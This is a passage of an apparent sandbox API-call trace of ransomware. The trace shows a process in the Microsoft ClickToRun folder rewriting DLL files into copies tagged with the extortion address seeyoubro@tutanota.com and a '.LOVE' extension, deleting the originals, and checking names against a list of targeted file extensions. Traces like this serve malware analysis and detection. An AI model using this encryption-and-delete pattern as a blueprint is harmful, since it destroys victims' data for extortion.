Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.047] GetLastError () returned 0x0 [0209.047] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0209.129] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0209.304] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.304] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x112, lpOverlapped=0x0) returned 1 [0209.304] SetEndOfFile (hFile=0x2d8) returned 1 [0209.420] CloseHandle (hObject=0x2d8) returned 1 [0209.454] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.454] SetEndOfFile (hFile=0x364) returned 1 [0209.455] CloseHandle (hObject=0x364) returned 1 [0209.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.455] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0209.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.455] lstrlenW (lpString=".doc") returned 4 [0209.455] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.456] lstrlenW (lpString=".docx") returned 5 [0209.456] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.456] lstrlenW (lpString=".pdf") returned 4 [0209.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.456] lstrlenW (lpString=".xls") returned 4 [0209.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.456] lstrlenW (lpString=".xlsx") returned 5 [0209.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.456] lstrlenW (lpString=".ppt") returned 4 [0209.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.456] lstrlenW (lpString=".zip") returned 4 [0209.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.456] lstrlenW (lpString=".rar") returned 4 [0209.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.456] lstrlenW (lpString=".bz2") returned 4 [0209.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.456] lstrlenW (lpString=".7z") returned 3 [0209.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.456] lstrlenW (lpString=".dbf") returned 4 [0209.456] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.456] lstrlenW (lpString=".1cd") returned 4 [0209.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.456] lstrlenW (lpString=".jpg") returned 4 [0209.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.457] lstrlenW (lpString=".doc") returned 4 [0209.457] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString=".docx") returned 5 [0209.457] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.457] lstrlenW (lpString=".pdf") returned 4 [0209.457] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString=".xls") returned 4 [0209.457] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString=".xlsx") returned 5 [0209.457] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.457] lstrlenW (lpString=".ppt") returned 4 [0209.457] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.457] lstrlenW (lpString=".zip") returned 4 [0209.457] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString=".rar") returned 4 [0209.457] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.457] lstrlenW (lpString=".bz2") returned 4 [0209.457] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.457] lstrlenW (lpString=".7z") returned 3 [0209.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.457] lstrlenW (lpString=".dbf") returned 4 [0209.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.457] lstrlenW (lpString=".1cd") returned 4 [0209.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0209.458] lstrlenW (lpString=".jpg") returned 4 [0209.458] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.458] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.458] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0209.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.458] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=19136) returned 1 [0209.458] CloseHandle (hObject=0x364) returned 1 [0209.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0209.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.459] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.459] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.459] GetLastError () returned 0x0 [0209.459] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0209.502] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0209.503] ReadFile (in: hFile=0x364, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.503] WriteFile (in: hFile=0x2d8, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x114, lpOverlapped=0x0) returned 1 [0209.503] SetEndOfFile (hFile=0x2d8) returned 1 [0209.503] CloseHandle (hObject=0x2d8) returned 1 [0209.505] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.505] SetEndOfFile (hFile=0x364) returned 1 [0209.506] CloseHandle (hObject=0x364) returned 1 [0209.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.506] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0209.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.506] lstrlenW (lpString=".doc") returned 4 [0209.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.506] lstrlenW (lpString=".docx") returned 5 [0209.506] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.506] lstrlenW (lpString=".pdf") returned 4 [0209.506] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.506] lstrlenW (lpString=".xls") returned 4 [0209.506] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.506] lstrlenW (lpString=".xlsx") returned 5 [0209.506] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.506] lstrlenW (lpString=".ppt") returned 4 [0209.506] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString=".zip") returned 4 [0209.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString=".rar") returned 4 [0209.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString=".bz2") returned 4 [0209.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.507] lstrlenW (lpString=".7z") returned 3 [0209.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString=".dbf") returned 4 [0209.507] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString=".1cd") returned 4 [0209.507] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString=".jpg") returned 4 [0209.507] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString=".doc") returned 4 [0209.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString=".docx") returned 5 [0209.507] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.507] lstrlenW (lpString=".pdf") returned 4 [0209.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString=".xls") returned 4 [0209.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString=".xlsx") returned 5 [0209.507] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.507] lstrlenW (lpString=".ppt") returned 4 [0209.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.507] lstrlenW (lpString=".zip") returned 4 [0209.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.508] lstrlenW (lpString=".rar") returned 4 [0209.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.508] lstrlenW (lpString=".bz2") returned 4 [0209.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.508] lstrlenW (lpString=".7z") returned 3 [0209.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.508] lstrlenW (lpString=".dbf") returned 4 [0209.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.508] lstrlenW (lpString=".1cd") returned 4 [0209.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0209.508] lstrlenW (lpString=".jpg") returned 4 [0209.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.508] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.508] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0209.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.522] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=23232) returned 1 [0209.522] CloseHandle (hObject=0x388) returned 1 [0209.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0209.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.523] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.523] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.530] GetLastError () returned 0x0 [0209.530] ReadFile (in: hFile=0x388, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0209.622] WriteFile (in: hFile=0x348, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0209.623] ReadFile (in: hFile=0x388, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.623] WriteFile (in: hFile=0x348, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x116, lpOverlapped=0x0) returned 1 [0209.624] SetEndOfFile (hFile=0x348) returned 1 [0209.624] CloseHandle (hObject=0x348) returned 1 [0209.625] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.625] SetEndOfFile (hFile=0x388) returned 1 [0209.626] CloseHandle (hObject=0x388) returned 1 [0209.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.626] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0209.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.630] lstrlenW (lpString=".doc") returned 4 [0209.630] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.630] lstrlenW (lpString=".docx") returned 5 [0209.630] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.630] lstrlenW (lpString=".pdf") returned 4 [0209.630] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.630] lstrlenW (lpString=".xls") returned 4 [0209.630] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.630] lstrlenW (lpString=".xlsx") returned 5 [0209.630] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.630] lstrlenW (lpString=".ppt") returned 4 [0209.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.631] lstrlenW (lpString=".zip") returned 4 [0209.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".rar") returned 4 [0209.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".bz2") returned 4 [0209.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.631] lstrlenW (lpString=".7z") returned 3 [0209.631] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.631] lstrlenW (lpString=".dbf") returned 4 [0209.631] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.631] lstrlenW (lpString=".1cd") returned 4 [0209.631] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.631] lstrlenW (lpString=".jpg") returned 4 [0209.631] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.631] lstrlenW (lpString=".doc") returned 4 [0209.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".docx") returned 5 [0209.631] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.631] lstrlenW (lpString=".pdf") returned 4 [0209.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".xls") returned 4 [0209.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".xlsx") returned 5 [0209.631] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.631] lstrlenW (lpString=".ppt") returned 4 [0209.632] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.632] lstrlenW (lpString=".zip") returned 4 [0209.632] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString=".rar") returned 4 [0209.632] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString=".bz2") returned 4 [0209.632] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.632] lstrlenW (lpString=".7z") returned 3 [0209.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.632] lstrlenW (lpString=".dbf") returned 4 [0209.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.632] lstrlenW (lpString=".1cd") returned 4 [0209.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0209.632] lstrlenW (lpString=".jpg") returned 4 [0209.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.632] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.632] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0209.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.634] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=473760) returned 1 [0209.634] CloseHandle (hObject=0x2d8) returned 1 [0209.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0209.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, 